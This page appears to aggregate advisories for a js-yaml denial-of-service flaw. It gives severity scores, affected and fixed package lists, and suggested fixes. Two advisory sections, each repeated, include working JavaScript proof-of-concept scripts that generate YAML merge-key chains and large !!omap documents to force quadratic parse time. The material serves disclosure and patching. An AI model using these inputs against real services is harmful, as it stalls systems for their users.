Every CVE Search/ Get API key

CVE-2026-59869

js-yaml: YAML merge-key chains can force quadratic CPU consumption

7.5 HighFix available

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.58%Up 0.2 points since Jul 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

js-yaml: YAML merge-key chains can force quadratic CPU consumption

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
CVE-2026-59869
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
EUVDEUVD-2026-42301 7.5

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
EUVD-2026-42301
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-52cp-r559-cp3m 7.5

js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Record
GHSA-52cp-r559-cp3m
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-407
Updated
2026-11-02
GitHub AdvisoriesGHSA-5p4m-2wfm-xmqj 7.5

JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.

!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 | | 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 | | 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.

References

  • CVE-2026-59870 /…
Record
GHSA-5p4m-2wfm-xmqj
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
NVD 7.5

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
CVE-2026-59869
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
OSV 7.5

js-yaml: YAML merge-key chains can force quadratic CPU consumption

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
CVE-2026-59869
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
Show 27 moreShow less
OSVDEBIAN-CVE-2026-59869 7.5

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
DEBIAN-CVE-2026-59869
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-52cp-r559-cp3m 7.5

js-yaml: YAML merge-key chains can force quadratic CPU consumption

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Record
GHSA-52cp-r559-cp3m
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-407
Updated
2026-11-02
OSVGHSA-5p4m-2wfm-xmqj 7.5

JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported

Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)

Summary

resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution O(n²) in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside yaml.load(), giving a denial of service against any consumer that parses untrusted YAML.

!!omap is registered in the default schema (lib/schema/default.js → require('../type/omap')), so a plain yaml.load(untrustedInput) with no options is affected — no custom schema or non-default configuration is required.

This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.

Affected versions

| Line | Latest tested | Status | |---|---|---| | 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 | | 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 | | 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |

Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.

Details

lib/type/omap.js (js-yaml 4.3.0):

if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false

objectKeys grows by one element per entry, and Array.prototype.indexOf is a linear scan, so resolving an n-entry !!omap performs roughly 1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously inside yaml.load(), blocking the event loop for its whole duration.

The 5.x line already solves exactly this by tracking seen keys in a Set (src/tag/sequence/omap.ts):

if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)

Proof of concept

// poc.js  —  node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';

for (const n of [10000, 20000, 40000, 80000]) {
  const d = doc(n), t = Date.now();
  yaml.load(d);                      // default schema, no options
  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}

Measured (node v20.20.2, default heap, no flags)

js-yaml 4.3.0

n=10000  bytes=137787   load=54ms
n=20000  bytes=297787   load=169ms
n=40000  bytes=617787   load=646ms
n=80000  bytes=1257787  load=2607ms

js-yaml 3.15.0

n=10000  bytes=137787   load=53ms
n=20000  bytes=297787   load=166ms
n=40000  bytes=617787   load=641ms
n=80000  bytes=1257787  load=2567ms

Runtime grows by a factor of ~4 for each doubling of n, which is the signature of O(n²) (linear growth would be ~2×).

Scaling further: a 2.48 MB document with 150,000 entries blocked yaml.load() for 10.8 seconds.

Impact

Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.

Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.

Suggested fix

Mirror the 5.x fix — replace the linear scan with a Set:

// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)

This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A maxOmapLength-style cap would also work, but the Set matches what 5.x already ships and requires no new option.

References

  • CVE-2026-59870 /…
Record
GHSA-5p4m-2wfm-xmqj
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-407
Updated
2026-11-02
OSVRHSA-2026:37532 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:37532
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:37534 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:37534
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:37577 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:37577
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:38187 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:38187
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:38236 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:38236
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:38304 7.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:38304
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:40415 8.1

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:40415
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRHSA-2026:57590 8.6

Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update

Record
RHSA-2026:57590
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
OSVRHSA-2026:71113 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:71113
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:71114 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:71114
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-59869 7.5

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
UBUNTU-CVE-2026-59869
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVAZL-92192 No score

CVE-2026-59869 affecting package js-jquery 3.5.0-4

js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.

Record
AZL-92192
Updated
2026-11-05
OSVCLSA-2026-1774570935 No score

TuxCare security update for js-yaml (5 CVEs)

TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.7.0-tuxcare.1.

Record
CLSA-2026-1774570935
Updated
2026-11-02
OSVCLSA-2026-1781484837 No score

TuxCare security update for js-yaml (3 CVEs)

TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.1-tuxcare.1.

Record
CLSA-2026-1781484837
Updated
2026-11-02
OSVCLSA-2026-1784596292 No score

TuxCare security update for js-yaml (1 CVE)

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.1.0-tuxcare.2.

Record
CLSA-2026-1784596292
Updated
2026-11-02
OSVCLSA-2026-1784682988 No score

TuxCare security update for js-yaml (3 CVEs)

TuxCare rebuilt js-yaml to address 3 CVEs. Fixed in 3.14.2-tuxcare.1.

Record
CLSA-2026-1784682988
Updated
2026-11-02
OSVCLSA-2026-1784683084 No score

TuxCare security update for js-yaml (1 CVE)

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.14.1-tuxcare.2.

Record
CLSA-2026-1784683084
Updated
2026-11-02
OSVCLSA-2026-1789749920 No score

TuxCare security update for js-yaml (1 CVE)

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.3.0-tuxcare.1.

Record
CLSA-2026-1789749920
Updated
2026-11-02
OSVCLSA-2026-1790187722 No score

TuxCare security update for js-yaml (1 CVE)

TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.7.0-tuxcare.3.

Record
CLSA-2026-1790187722
Updated
2026-11-02
OSVCLSA-2026-1790522263 No score

TuxCare security update for js-yaml (2 CVEs)

TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.2.0-tuxcare.1.

Record
CLSA-2026-1790522263
Updated
2026-11-02
OSVCLSA-2026-1790963665 No score

TuxCare security update for js-yaml (5 CVEs)

TuxCare rebuilt js-yaml to address 5 CVEs. Fixed in 3.13.1-tuxcare.1.

Record
CLSA-2026-1790963665
Updated
2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score

velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media

These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12070-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-59869 No score

CVE-2026-59869 in js-yaml - Patched by Root

Root has patched CVE-2026-59869 in the js-yaml package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-59869
Updated
2026-11-02
OSVROOT-APP-NPM-GHSA-5p4m-2wfm-xmqj No score

GHSA-5p4m-2wfm-xmqj in js-yaml - Patched by Root

Root has patched GHSA-5p4m-2wfm-xmqj in the js-yaml package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-GHSA-5p4m-2wfm-xmqj
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
js-yaml
npm
3.0.0 up to 3.15.0
3.15.0
js-yaml
npm
4.0.0 up to 4.3.0
4.3.0
js-yaml
npm
4.0.0 up to 4.3.1
4.3.1
js-yaml
npm
3.0.0 up to 3.15.1
3.15.1
js-jquery
Azure Linux:3
through 3.5.0-4 None known
js-yaml
TuxCare:npm
From an advisory covering 2 CVEs
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.1, plus listed versions
3.7.0
3.7.0-tuxcare.1
js-yaml
TuxCare:npm
From an advisory covering 2 CVEs
3.14.1-tuxcare.0 up to 3.14.1-tuxcare.1, plus listed versions
3.14.1
3.14.1-tuxcare.1
js-yaml
TuxCare:npm
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions
4.1.04.1.0-tuxcare.1
4.1.0-tuxcare.2
js-yaml
TuxCare:npm
From an advisory covering 2 CVEs
3.14.2-tuxcare.0 up to 3.14.2-tuxcare.1, plus listed versions
3.14.2
3.14.2-tuxcare.1
js-yaml
TuxCare:npm
3.14.1-tuxcare.0 up to 3.14.1-tuxcare.2, plus listed versions
3.14.13.14.1-tuxcare.1
3.14.1-tuxcare.2
Show 137 moreShow less
Affected packages
PackageAffectedFixed
js-yaml
TuxCare:npm
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.1, plus listed versions
4.3.0
4.3.0-tuxcare.1
js-yaml
TuxCare:npm
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.3, plus listed versions
3.7.03.7.0-tuxcare.13.7.0-tuxcare.2
3.7.0-tuxcare.3
js-yaml
TuxCare:npm
4.2.0-tuxcare.0 up to 4.2.0-tuxcare.1, plus listed versions
4.2.0
4.2.0-tuxcare.1
js-yaml
TuxCare:npm
From an advisory covering 4 CVEs
3.13.1-tuxcare.0 up to 3.13.1-tuxcare.1, plus listed versions
3.13.1
3.13.1-tuxcare.1
node-js-yaml
Debian:12
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-24.3.2+~4.0.9-1
None known
node-js-yaml
Debian:13
All versions, plus listed versions
4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-24.3.2+~4.0.9-1
None known
node-js-yaml
Debian:14
before 4.2.0+~4.0.9-2, plus listed versions
4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-1
4.2.0+~4.0.9-2
nodejs26
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-bin
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-devel
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-docs
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-full-i18n
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-libs
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
nodejs26-npm
Red Hat:hummingbird:1
before 0:11.17.0-1.26.4.0.1.4.hum1
0:11.17.0-1.26.4.0.1.4.hum1
nodejs26-npm-bin
Red Hat:hummingbird:1
before 0:26.4.0-1.4.hum1
0:26.4.0-1.4.hum1
v8-14.6-devel
Red Hat:hummingbird:1
before 0:14.6.202.34-1.26.4.0.1.4.hum1
0:14.6.202.34-1.26.4.0.1.4.hum1
nodejs25
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-bin
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-devel
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-docs
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-full-i18n
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-libs
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
nodejs25-npm
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:11.12.1-1.25.9.0.1.3.hum1
0:11.12.1-1.25.9.0.1.3.hum1
nodejs25-npm-bin
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:25.9.0-1.3.hum1
0:25.9.0-1.3.hum1
v8-14.1-devel
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:14.1.146.11-1.25.9.0.1.3.hum1
0:14.1.146.11-1.25.9.0.1.3.hum1
dotnet-sdk-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.128-1.1.hum1
0:8.0.128-1.1.hum1
dotnet-sdk-8.0-source-built-artifacts
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.128-1.1.hum1
0:8.0.128-1.1.hum1
dotnet-sdk-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.128-1.1.hum1
0:8.0.128-1.1.hum1
dotnet-templates-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.128-1.1.hum1
0:8.0.128-1.1.hum1
dotnet8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.128-1.1.hum1
0:8.0.128-1.1.hum1
aspnetcore-runtime-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
aspnetcore-runtime-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
aspnetcore-targeting-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
dotnet-apphost-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
dotnet-hostfxr-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
dotnet-runtime-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
dotnet-runtime-dbg-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
dotnet-targeting-pack-8.0
Red Hat:hummingbird:1
From an advisory covering 4 CVEs
before 0:8.0.28-1.1.hum1
0:8.0.28-1.1.hum1
cargo
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
clippy
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-analyzer
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-debugger-common
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-doc
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-gdb
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-lldb
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-src
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-aarch64-unknown-none-softfloat
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-aarch64-unknown-uefi
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-i686-pc-windows-gnu
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-wasm32-unknown-unknown
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:1.97.0-1.1.hum1
0:1.97.0-1.1.hum1
rust-std-static-wasm32-wasip1
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
